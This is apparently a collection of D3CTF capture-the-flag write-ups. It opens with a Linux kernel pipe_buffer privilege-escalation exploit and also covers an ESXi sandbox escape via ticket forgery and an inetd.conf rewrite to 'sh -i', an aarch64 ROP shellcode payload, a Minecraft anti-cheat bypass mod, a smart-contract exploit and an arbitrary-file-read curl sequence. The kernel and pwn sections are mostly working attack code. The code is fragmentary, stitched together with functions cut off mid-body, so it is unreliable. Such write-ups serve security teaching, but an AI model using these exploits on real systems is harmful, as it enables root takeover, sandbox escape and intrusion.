size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
/**
* VI - SECONDARY exploit stage: build pipe for arbitrary read & write
*/
void building_self_writing_pipe(void)
{
size_t buf[0x1000];
size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
struct pipe_buffer evil_pipe_buf;
struct page *page_ptr;
memset(buf, 0, sizeof(buf));
write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
puts("");
}
/**
* @brief Setting up 3 pipes for arbitrary read & write.
* We need to build a circle there for continuously memory seeking:
* - 2nd pipe to search
* - 3rd pipe to change 4th pipe
* - 4th pipe to change 2nd and 3rd pipe
*/
void setup_evil_pipe(void)
{
/* init the initial val for 2nd,3rd and 4th pipe, for recovering only */
memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;
evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;
}
/* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_pid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
/**
* VII - FINAL exploit stage with arbitrary read & write
*/
void info_leaking_by_arbitrary_pipe()
{
size_t *comm_addr;
memset(buf, 0, sizeof(buf));
/**
* KASLR's granularity is 256MB, and pages of size 0x1000000 is 1GB MEM,
* so we can simply get the vmemmap_base like this in a SMALL-MEM env.
* For MEM > 1GB, we can just find the secondary_startup_64 func ptr,
* which is located on physmem_base + 0x9d000, i.e., vmemmap_base[156] page.
* If the func ptr is not there, just vmemmap_base -= 256MB and do it again.
*/
vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;
for (;;) {
arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);
vmemmap_base -= 0x10000000;
}
printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);
prctl(PR_SET_NAME, "arttnba3pwnn");
/**
* For a machine with MEM less than 256M, we can simply get the:
* page_offset_base = heap_leak & 0xfffffffff0000000;
* But that's not always accurate, espacially on a machine with MEM > 256M.
* So we need to find another way to calculate the page_offset_base.
*
* Luckily the task_struct::ptraced points to itself, so we can get the
* page_offset_base by vmmemap and current task_struct as we know the page.
*
* Note that the offset of different filed should be referred to your env.
*/
for (int i = 0; 1; i++) {
arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);
comm_addr = memmem(buf, 0xf00, "arttnba3pwnn", 12);
if (comm_addr && (comm_addr[-2] > 0xffff888000000000) /* task->cred */
&& (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
&& (comm_addr[-57] > 0xffff888000000000) /* task->read_parent */
&& (comm_addr[-56] > 0xffff888000000000)) { /* task->parent */
/* task->read_parent */
parent_task = comm_addr[-57];
/* task_struct::ptraced */
current_task = comm_addr[-50] - 2528;
for (;;) {
size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);
/* task_struct::real_parent */
if (parent_task == tsk_buf[309]) {
break;
}
parent_task = tsk_buf[309];
}
init_task = parent_task;
init_cred = tsk_buf[363];
init_nsproxy = tsk_buf[377];
/* now, changing the current task_struct to get the full root :) */
puts("[*] Escalating ROOT privilege now...");
current_task_page = direct_map_addr_to_page_addr(current_task);
puts("[+] Done.\n");
puts("[*] checking for root...");
get_root_shell();
}
#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39
return pte_val;
}
void pgd_vaddr_resolve(void)
{
puts("[*] Reading current task_struct...");
mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);
/* only this is a virtual addr, others in page table are all physical addr*/
pgd_addr = mm_struct_buf[9];
/**
* It may also be okay to write ROP chain on pipe_write's stack, if there's
* no CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT(it can also be bypass by RETs).
* But what I want is a more novel and general exploitation that
* doesn't need any information about the kernel image.
* So just simply overwrite the task_struct is good :)
*
* If you still want a normal ROP, refer to following codes.
*/
void privilege_escalation_by_rop(void)
{
size_t rop[0x1000], idx = 0;
stack_page = direct_map_addr_to_page_addr(stack_addr_another);
sleep(5);
void privilege_escalation_by_usma(void)
{
#define NS_CAPABLE_SETID 0xffffffff810fd2a0
sleep(5);
setresuid(0, 0, 0);
get_root_shell();
}
/**
* Just for testing CFI's availability :)
*/
void trigger_control_flow_integrity_detection(void)
{
size_t buf[0x1000];
struct pipe_buffer *pbuf = (void*) ((size_t)buf + TRD_PIPE_BUF_SZ);
struct pipe_buf_operations *ops, *ops_addr;
evil_2nd_buf.page = info_pipe_buf.page;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;
/* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1],&evil_2nd_buf,sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_pid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1],&evil_3rd_buf,sizeof(evil_3rd_buf));
save_status();
/**
* Step.I - page-level heap fengshui to make a cross-cache off-by-null,
* making two pipe_buffer pointing to the same pages
*/
corrupting_first_level_pipe_for_page_uaf();
/**
* Step.II - re-allocate the victim page to pipe_buffer,
* leak page-related address and construct a second-level pipe uaf
*/
corrupting_second_level_pipe_for_pipe_uaf();
/**
* Step.III - re-allocate the second-level victim page to pipe_buffer,
* construct three self-page-pointing pipe_buffer
*/
building_self_writing_pipe();
/**
* Step.IV - leaking fundamental information by pipe
*/
info_leaking_by_arbitrary_pipe();
/**
* Step.V - different method of exploitation
*/
RealESXi
This task is about a real ESXi sandbox escape. Assume that you can already execute arbitrary code
in the vmx, but you are still confined within the sandbox. Your goal is to escape the sandbox and
capture the flag.
Download the fixed version 7.0U3c and install it. By diffing the settingsd of both versions, you will
find that the TicketGetTicketDir function has added "remoteDevice", along with some related
code.
This information alone is not enough to identify the issue. You can further compare the sandbox
rules of the two vmx (globalVMDom) versions and find the following additions:
-r /var/run/vmware/tickets # blocklist
-r /var/run/vmware/tickets-remoteDevice rw
-r /var/run/vmware/tokend-secret # blocklist
This restricts the vmx process's read and write permissions to /var/run/vmware/tickets and
tokend-secret , while granting read and write permissions to tickets-remoteDevice .
In other words, in versions prior to 7.0U3c, the vmx file could read and write to the
/var/run/vmware/tickets folder, which stores the authentication verification files for settingsd.
Normally, you would need to enter a username and password to communicate with settingsd.
However, by forging a ticket, you can bypass this verification.
Settingsd binds to port 8083. I planned to use packet capture to quickly understand the
communication mechanism with settingsd, but unfortunately, ESXi doesn't have any default
features related to settingsd. At this point, I noticed that settingsd is located in the
/usr/lib/vmware/lifecycle/bin/ directory, which might be a service process for the lifecycle
feature. A Google search revealed that it is a vSphere feature (https://docs.vmware.com/en/VMwa
re-vSphere/7.0/com.vmware.vsphere-lifecycle-manager.doc/GUID-46CC2BE8-C2EC-4535-A8C8-5E
6AD04A62AB.html) used for managing ESXi clusters. When we install vSphere and create a cluster,
we can capture packets communicating with port 8083. This greatly simplifies the difficulty of this
task, allowing us to understand the structure of the packets (in conjunction with
settingsd_vapi_cli.json ), the ticket file, and the contents of the depot file (which will be used
later).
Now that we can access settingsd, the next step is to analyze CVE-2021-22043, a TOCTOU
vulnerability. The advisory reveals that the vulnerability exists when handling temporary files and
can be exploited to write to arbitrary files. By diffing settingsd, I didn't find any similar
vulnerabilities being fixed, so I turned my attention to other files in the lifecycle directory,
specifically several python files. Settingsd has many features that directly call these files. Diffing
these files, unfortunately, reveals no significant differences. However, they do call some content
from the vmware libraries (/lib64/python3.8/site-packages/vmware/), so perhaps the issue lies
there.
By diffing the python vmware library files, we can quickly identify the bug. Differences exist in
Downloader.py , with more important differences stemming from OfflineBundle.py .
fh, fn = tempfile.mkstemp()
os.close(fh)
with tempfile.NamedTemporaryFile() as f:
This perfectly matches the description in the advisory. After creating this tempfile, OfflineBundle
calls Downloader.Get , which accepts a URL that can be either a local path or a network address.
If the network access is unavailable, OfflineBundle does not immediately exit but instead waits
and retries.
At this point, we have assembled all the tools needed to complete this task. By forging a ticket, we
bypass the verification and control settingsd. We can then send a depots create command, and
set the metadata.zip of vendor-index.xml in the locally prepared depot folder to our network
address. Do not start your prepared HTTP server yet. OfflineBundle will create a temporary file,
but since it cannot access metadata.zip , it will wait and retry multiple times. During this time, we
can delete the tempfile, create a symbolic link to any file, and then start the HTTP server.
OfflineBundle will copy our prepared metadata.zip to the specified file, perfect!
Once we have arbitrary file write access, how do we obtain a shell? We can take inspiration from
f1yyy's ESXi vm escape back in 2018. By overwriting /var/run/inetd.conf , we can change the
sshd command that binds to the port to sh -i . Sending a SIGHUP to the inetd process and
connecting to the sshd port using nc , we can successfully complete the task.
d3op
First we can unpack the rootfs with following command:
unsquashfs squashfs-root.img
and in the etc/os-release of the rootfs, we can find the information fo this system:
NAME="OpenWrt"
VERSION="22.03.3"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt 22.03.3"
VERSION_ID="22.03.3"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r20028-43d71ad93e"
OPENWRT_BOARD="armvirt/64"
OPENWRT_ARCH="aarch64_cortex-a53"
OPENWRT_TAINTS=""
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt 22.03.3 r20028-43d71ad93e"
then we can try to do a diff with the offical rootfs, and we can the vulnerability. An
unauthenticated rpc interface of ubus, and a binary file named base64
By reversing the base64 , we can find there are overflow in decode and encode function, Here I
show the decode function as the example:
At the end of the function, we didn't check the length of v6 , just simply use output_len as the
limit of the index.
So we can input a very long string thus we can cause overflow at decode function.
There is another thing we should pay attention to, which is that the input and output of ubus of
openWRT should be a json string.
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
context.log_level = "debug"
context.terminal = ["kitty"]
context.arch = "aarch64"
# p = process(["./base64", "decode"])
# elf = ELF("./elf")
# libc = ELF("./libc.so.6")
# 0x00000000004494b8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
set_x0 = 0x00000000004494b8
# 0x00000000004010ec : ldr x1, [sp, #0x28] ; add x0, x1, x0 ; ldp x29, x30, [sp],
#0x30 ; ret
set_x1 = 0x00000000004010ec
# call mprotect(x0[0x92] + x0[0x94], x0[0x93] - x0[0x94], 7)
call_mprotect = 0x00000000004579A4
shellcode = shellcraft.aarch64.linux.open("/flag", 0)
shellcode += shellcraft.aarch64.linux.read(3, 0x4a23a4, 0x100)
shellcode += '''
MOV X3, X0
LDR X1, =0x22
LDR X2, =0x4a23a3
STRB W1, [X3, X2]
shellcode += '''
LDR X0, =1
LDR X9, =0x422D60
BLR X9
'''
payload = asm(shellcode)
payload = payload.ljust(0x200, b"\x00")
payload += p64(0)
payload += p64(0x4A3000)
payload += p64(0x4A2000)
payload = payload.ljust(0x300, b"\x00")
payload += b"{\"output\": \""
payload = payload.ljust(0x400, b"\x00")
payload += b"A\x00\x00\x00" # char1
payload += b"A\x00\x00\x00" # char2
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char4
payload += b"A\x00\x00\x00" # char4
payload += b"\x18\x06\x00\x00" # input lenght
payload += b"\x1d\x04\x00\x00" # output idx
payload += b"\x84\x05\x00\x00" # input idx
payload += b"\x92\x04\x00\x00" # output length
# p.sendline()
# p.interactive()
payload = base64.b64encode(payload)
print(payload)
Misc
d3image
The mirror file is a Linux image of the lime type, so it is necessary to create the corresponding
profile or symbol. Vol2 is used as the main tool here, so it is necessary to create the relevant
profile files.
http://127.0.0.1:2333
http://127.0.0.1:2333/magic.7z
To recover the file system and locate the relevant proxychains configuration files, we will use the
linux_recover_filesystem plugin in Volatility 2.
Use the configuration to attempt to connect to the target machine and access the relevant URL.
Eventually, you will obtain related web interfaces and a magic.7z file.
Last month, an ICMP-
based canvas was tested in the DN42 network, using addresses to select pixel positions and color
s. This challenge was inspired by it, using the addresses to represent the index of bit. Also, to mak
e it more confusing, use "reachable address" for "1" and "unreachable address" for "0".
import os
from tqdm import trange
valid = set()
request = set()
max_num = 0
After decryption, a compressed file was obtained which contained an STL file that appeared to be
a handle model. However, the size of the file did not match the simplicity of its contour.
Therefore, engineering modeling software like SolidWorks was used to conduct a cross-sectional
analysis to see if there were any redundant complex edges inside. A QR code cross-section was
discovered inside.
3;A6eI`(J{z29|Gz":Dqt;~h*Bvc$7}c"dw'uBJth$Jg(+4+8x9eG7`>83$q5hF%I*)yrcb3+7$*~Dr"
G|:K~C{_"Jv5=B9t9|>bwugCE~d&3fd{H;@hD?
(DDz~$h#I%I`IB8zKyfHby3x'yfc56fH35|E8$+KGE@(u`7
After decoding using rot47 and base62, a string of emoji was obtained which corresponded to the
button numbers of the gamepad in the JavaScript code: LB, RT, LT, RB, up, down, left, right, ABAB.
Therefore, connect the gamepad and enter this string into the web page and submit it. After the
token is correct, the gamepad starts to vibrate, which is Morse code.
The attachment shows the server jar file, configuration file, world, and installed plugins, as well as
a paper patch file for local debugging.
package org.d3ctf.d3craft;
import io.papermc.paper.entity.LookAnchor;
import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.format.NamedTextColor;
import net.kyori.adventure.text.format.TextColor;
import net.kyori.adventure.text.format.TextDecoration;
import org.bukkit.Location;
import org.bukkit.World;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.block.Action;
import org.bukkit.event.player.*;
import org.bukkit.plugin.java.JavaPlugin;
import org.jetbrains.annotations.Contract;
import org.jetbrains.annotations.NotNull;
import java.util.Random;
import static java.lang.Math.sqrt;
@Override
public void onEnable() {
// Plugin startup logic
getServer().getPluginManager().registerEvents(this, this);
}
@Override
public void onDisable() {
// Plugin shutdown logic
}
@EventHandler
public void onPlayerJoin(@NotNull PlayerJoinEvent event) {
Player player = event.getPlayer();
sendHello(player);
preparePlayerLocation(player);
}
@EventHandler
public void onPlayerMove(@NotNull PlayerMoveEvent event) {
Player player = event.getPlayer();
if (player == currentPlayer)
player.kick(Component.text("Hold Still, HACKER!\nDon't MOVE"));
else if (currentPlayer == null)
currentPlayer = player;
else
player.kick(Component.text("HACKER!"));
}
@EventHandler
public void onPlayerQuit(@NotNull PlayerQuitEvent event) {
currentPlayer = null;
}
@EventHandler
public void onPlayerInteract(@NotNull PlayerInteractEvent event) {
Player player = event.getPlayer();
if (event.getAction() == Action.LEFT_CLICK_AIR &&
checkLocation(player.getLocation())) {
getLogger().info("player " + player.getName() + " get flag!");
player.sendMessage(flag);
}
}
}
If you have no experience in developing Minecraft server plugins, you can guess the function of
this plugin by looking at the function name in combination with the prompts when entering the
game.
1. Listen to the player joining the world ( onPlayerJoin ) event, randomly generate a point with
a distance of 16 from (0, -60, 0), and move the player there;
2. Listen to the player movement ( onPlayerMove ) event and kick the player out of the game;
3. Listen to the player interaction ( onPlayerInteract ) event, if the left button is clicked, and
the player's position is at (0, x, 0), then give the player the flag.
(After the player joins the game, the plugin uses player.teleport() to set the player position,
and the onPlayerMove event will be triggered here, so the currentPlayer variable is set to
prevent being kicked out of the game this time. Some masters may be misled , I thought it was a
step to enter the game and move past, I am very sorry.)
You can delete the plugin and enter the world, confirm that (0, x, 0) is the beacon position.
It seems impossible to move to the beacon. However, if you try to move stealthily, you can find
that you are able to move a tiny distance without getting kicked.
Let’s think about why this happens. Since the plugin is written to listen events, it means that the
player’s movement event has not been monitored. There are two possibilities here. One may be
that the client thinks that the movement is too small to send the data to the server; Another one
is that the data is sent to the server, but the server does some processing, and the event is not
triggered.
The principle of communication between the client and the server is that the two parties continue
to receive and send data packets. The format of the data packet can be found in here. What needs
to be considered in this challenge is the data packet related to mobile (Set Player Position). You
don’t need to understand too deeply, you just need to know that the data contains the moving
destination. If we can modify the sent data packets (such as through proxy), or send one by
yourself, then you can do some operations that cannot be achieved in normal game play.
In fact the client sends a player position packet every tick, even if the player is not doing anything.
The server used in this challenge is PaperMC. It is a third-party open source Minecraft server. Its
principle is to reverse the official version of the server and add more functions and optimizations
by patching. Recompile to get a server file. For details, you can read the official document
CONTRIBUTING.md.
The commit number corresponding to the version can be found on the download page of the
official website, 492 is 497b919. (However, this challenge has nothing to do with the version, 492
is the latest version when the challenge is prepared). Clone the repo, switch to commit 497b919,
following the documentation to generate source code ( ./gradlew applyPatches ), then put the
d3craft patch into ./patches/server , and regenerate the source code ( ./gradlew
rebuildPatches ). ./Paper-API , ./Paper-MojangAPI , ./Paper-Server is the source code of the
server. The file with the d3craft patch is ./Paper-
Server/src/main/java/net/minecraft/server/
network/ServerGamePacketListenerImpl.java .
teleport and internalTeleport are somewhat similar. The difference is that the parameters
are different. However, this does not seem to be the reason why the event is not triggered after
moving for a short distance, but from here we can find that there seem to be two records for the
player's position. One is The getX() of player , the other is this.lastPosX . The record of the
player is in the Player class, and lastPosX is in the current class
ServerGamePacketListenerImpl .
Looking for the PlayerMove event in the handleMovePlayer function, you can find the following
code (line 1576):
// If the packet contains look information then we update the To location
with the correct Yaw & Pitch.
if (packet.hasRot) {
to.setYaw(packet.yRot);
to.setPitch(packet.xRot);
}
// Prevent 40 event-calls for less than a single pixel of movement >.>
double delta = Math.pow(this.lastPosX - to.getX(), 2) +
Math.pow(this.lastPosY - to.getY(), 2) + Math.pow(this.lastPosZ - to.getZ(), 2);
float deltaAngle = Math.abs(this.lastYaw - to.getYaw()) +
Math.abs(this.lastPitch - to.getPitch());
// If the event is cancelled we move the player back to their old
location.
if (event.isCancelled()) {
this.teleport(from);
return;
}
1. Move the player back to the prev position ( prevX , etc., at the beginning of
handleMovePlayer , preX = this.player.getX(); , line 1411) (the position of player has
been modified before, this code is a patch added by CraftBukkit, so the player was moved
back.)
2. Determine the distance change ( delta ) and angle change ( deltaAngle ) of the received data
packet position to and lastPos position ( from ), if the position (or angle of view) change
exceeds the threshold ( delta > 1f / 256 || deltaAngle > 10f ), then update lastPos to
to , and trigger PlayerMoveEvent ; if the position (and angle of view) does not change much,
then neither update lastPos, nor trigger PlayerMoveEvent `.
3. Move to (d0, d1, d2, f, f1). A quick look at the code shows that this is where the player needs
to move.
This is why it is possible to move a small distance without triggering an event. However, since
lastPos is not updated, if you move a small distance multiple times, the difference will be
"accumulated" until it is greater than the threshold, and an event will be triggered.
You can try to modify the threshold, recompile the server and test it.
public void internalTeleport(double d0, double d1, double d2, float f, float
f1, Set<RelativeMovement> set) {
// ...
this.awaitingPositionFromClient = new Vec3(d0, d1, d2);
if (++this.awaitingTeleport == Integer.MAX_VALUE) {
this.awaitingTeleport = 0;
}
this.awaitingTeleportTime = this.tickCount;
this.player.moveTo(d0, d1, d2, f, f1); // Paper - use proper moveTo for
teleportation
this.player.connection.send(new ClientboundPlayerPositionPacket(d0 - d3,
d1 - d4, d2 - d5, f - f2, f1 - f3, set, this.awaitingTeleport));
}
In internalTeleport , it can be found that lastPos is set as parameters! This can be the point we
bypass the PlayerMoveEvent !
The patched part checks if the player is moving too fast (this is also stated in the protocol docs),
and if so, teleport ( internalTeleport ) player back.
1. Move a small step first, do not trigger PlayerMoveEvent , do not modify lastPos but modify
player location.
2. Move very far (modify the position in the mobile data packet), enter this if to trigger teleport,
and then modify lastPos to player location.
3. Repeat, you can move the player position without triggering PlayerMoveEvent !
However, you can find codes that teleport player back in somewhere else (line 1567):
Note that there is even a comment after the definition: "needed here as the difference in Y can be
reset - also note: this is only a guess at whether collisions took place, floating point errors can
make this true when it shouldn't be...". So let's try to collide.
return false;
} finally {
io.papermc.paper.util.CachedLists.returnTempCollisionList(collisions);
}
}
// Paper end - optimise out extra getCubes
It is probably taken out from the collision box cache that may cause collisions, and then judged
one by one, and if there is a collision, it returns true. It is relatively simple to cause a collision in
the collision box, you can send a set player position data packet with Y axis position slightly
decreased, make it intersect with the collision box of the ground block. You can add printing
didCollide and teleportBack in the server code to confirm whether it is valid.
You can implement a fabric mod to exploit it. The mixin is as follows:
package org.d3ctf.d3craftexp.mixin;
import net.minecraft.client.network.ClientPlayerEntity;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
import net.minecraft.util.math.Vec3d;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Redirect;
@Mixin(ClientPlayerEntity.class)
public abstract class ClientPlayerEntityMixin {
@Redirect(method = "tick", at = @At(value = "INVOKE", target =
"Lnet/minecraft/client/network/ClientPlayerEntity;sendMovementPackets()V"))
private void injected(ClientPlayerEntity player) {
Vec3d pos = player.getPos();
Vec3d rot = player.getRotationVector();
player.setPosition(pos.add(rot.multiply(0.06)));
player.networkHandler.sendPacket(new
PlayerMoveC2SPacket.Full(player.getX(), player.getY(), player.getZ(),
player.getYaw(), player.getPitch(), true));
player.setPosition(pos.add(new Vec3d(0, -0.01, 0)));
player.networkHandler.sendPacket(new
PlayerMoveC2SPacket.Full(player.getX(), player.getY(), player.getZ(),
player.getYaw(), player.getPitch(), true));
}
}
d3casino
10 solves
source code
contract D3Casino{
uint256 constant mod = 17;
uint256 constant SAFE_GAS = 10000;
uint256 public lasttime;
mapping(address => uint256) public scores;
mapping(address => bool) public betrecord;
event SendFlag();
constructor() {
lasttime = block.timestamp;
}
assembly {
let size := extcodesize(caller())
if gt(size, 0x64) {
invalid()
}
}
lasttime = block.timestamp;
betrecord[msg.sender] = true;
uint256 rand = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.difficulty, msg.sender)
)
) % mod;
uint256 value;
bool success;
bytes memory result;
(success, result) = msg.sender.staticcall{gas: SAFE_GAS}("");
require(success, "Call failed!");
value = abi.decode(result, (uint256));
analysis
To predict random number in smart contracts isn't a hard task. The key is how to depoly a
contract within 100 bytes and with many leading zeros in its address.
This challenge is designed to let players experience two techniques of saving gas in ethereum
smart contract. In real world, many defi protocols use these techniques to save gas.
minimal proxy
https://eips.ethereum.org/EIPS/eip-1167
https://solidity-by-example.org/app/minimal-proxy/
leading zeros
https://medium.com/coinmonks/on-efficient-ethereum-addresses-3fef0596e263
Actually, I was going to let players genarate an address with 10 leading zeros, but I think it's too
stupid to do that. So I changed it to 2 leading zeros and just loop 10 times lol...
solution
while True:
if account.address.startswith("0x00"):
print("Address: " + account.address)
print("Private Key: " + account.privateKey.hex())
break
account = w3.eth.account.create()
exploit contract
contract miniHacker {
uint256 constant mod = 17;
contract exploitcontract {
D3Casino public victim;
miniHacker public hacker;
constructor(address _addr){
victim = D3Casino(_addr);
hacker = new miniHacker();
}
function Clone(
address target,
uint256 salt
) internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
mstore(add(clone, 0x14), targetBytes)
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
result := create2(0, clone, 0x37, salt)
}
}
implement_addr = '0x0366eE856529CEfA600EC99745165e84aE59bc39'[2:].lower()
depolyer_addr = '0x5DCb4608296852073f769BF5a1A0639Cd0D84B8D'
perfix = '3d602d80600a3d3981f3363d3d373d3d3d363d73'
suffix = '5af43d82803e903d91602b57fd5bf3'
pre = '0xff'
b_pre = bytes.fromhex(pre[2:])
b_address = bytes.fromhex(address[2:])
b_salt = bytes.fromhex(salt)
b_init_code = bytes.fromhex(creation_code)
keccak_b_init_code = Web3.keccak(b_init_code)
b_result = Web3.keccak(b_pre + b_address + b_salt + keccak_b_init_code)
result_address = to_checksum_address(b_result[12:].hex())
return result_address
mbruteforce(
lambda x: compute_create2(depolyer_addr, x.zfill(64),
creation_code).startswith('0x00'),
'0123456789abcdef',
length = 6,
)
d3readfile
This web server is a simple server powered by flamego, whose only route is designed to read any
file with the root permission.
In a large variety of situations, we are supposed to have a vulnerability of Arbitrary File Reading.
When we want to download the web source code or to find a specific file but can’t traversal the
directory, we can try to read the database file of locate command, whose path is always
constant and then seek the target file path in local environment.
P.S. The locate command is usually built-in in the RedHat series of operating systems,
such as CentOS and RHEL, but it generally needs to be installed manually in the Debian
series or other distributions.
The locate command will maintain a database to store the directory and file information. The
reliability of the database is guaranteed by the a crontab task running updatedb , once a day.
When you excute locate command, it reads this database to find files efficiently.
This challenge based on Debian, with locate package is installed. The default database location
is /var/cache/locate/locatedb , which can only be read by root privileges. We can read this file
and locate the flag locally.
## download locatedb.
#> curl 'http://139.196.153.118:32581/readfile' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'filepath=/var/cache/locate/locatedb' \
-o locatedb
/opt/vwMDP4unF4cvqHrztduv4hpCw9H9Sdfh/UuRez4TstSQEXZpK74VoKWQc2KBubVZi/LcXAfeaD2
KLrV8zBpuPdgsbVpGqLcykz/flag_1s_h3re_233
#> curl 'http://139.196.153.118:32581/readfile' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw
'filepath=/opt/vwMDP4unF4cvqHrztduv4hpCw9H9Sdfh/UuRez4TstSQEXZpK74VoKWQc2KBubVZi
/LcXAfeaD2KLrV8zBpuPdgsbVpGqLcykz/flag_1s_h3re_233'
antd3ctf{xxx}
d3gif
The file name is (x,y,bin).gif , where x, y, bin are RGB values of each frame. x and y are
the coordinates, and bin is the bin number, indicating the blacks and whites in a QRCode.
img = Image.open('(x,y,bin).gif')
coorInfo = []
x_max = 0
y_max = 0
try:
frame = 0
while True:
img.seek(frame)
rgb = img.convert("RGB").getpixel((0, 0))
if rgb == 0:
rgb = (0, 0, 0)
coorInfo.append(rgb)
x_max = max(x_max, rgb[0])
y_max = max(y_max, rgb[1])
frame += 1
except EOFError:
pass
img.save('flag.png')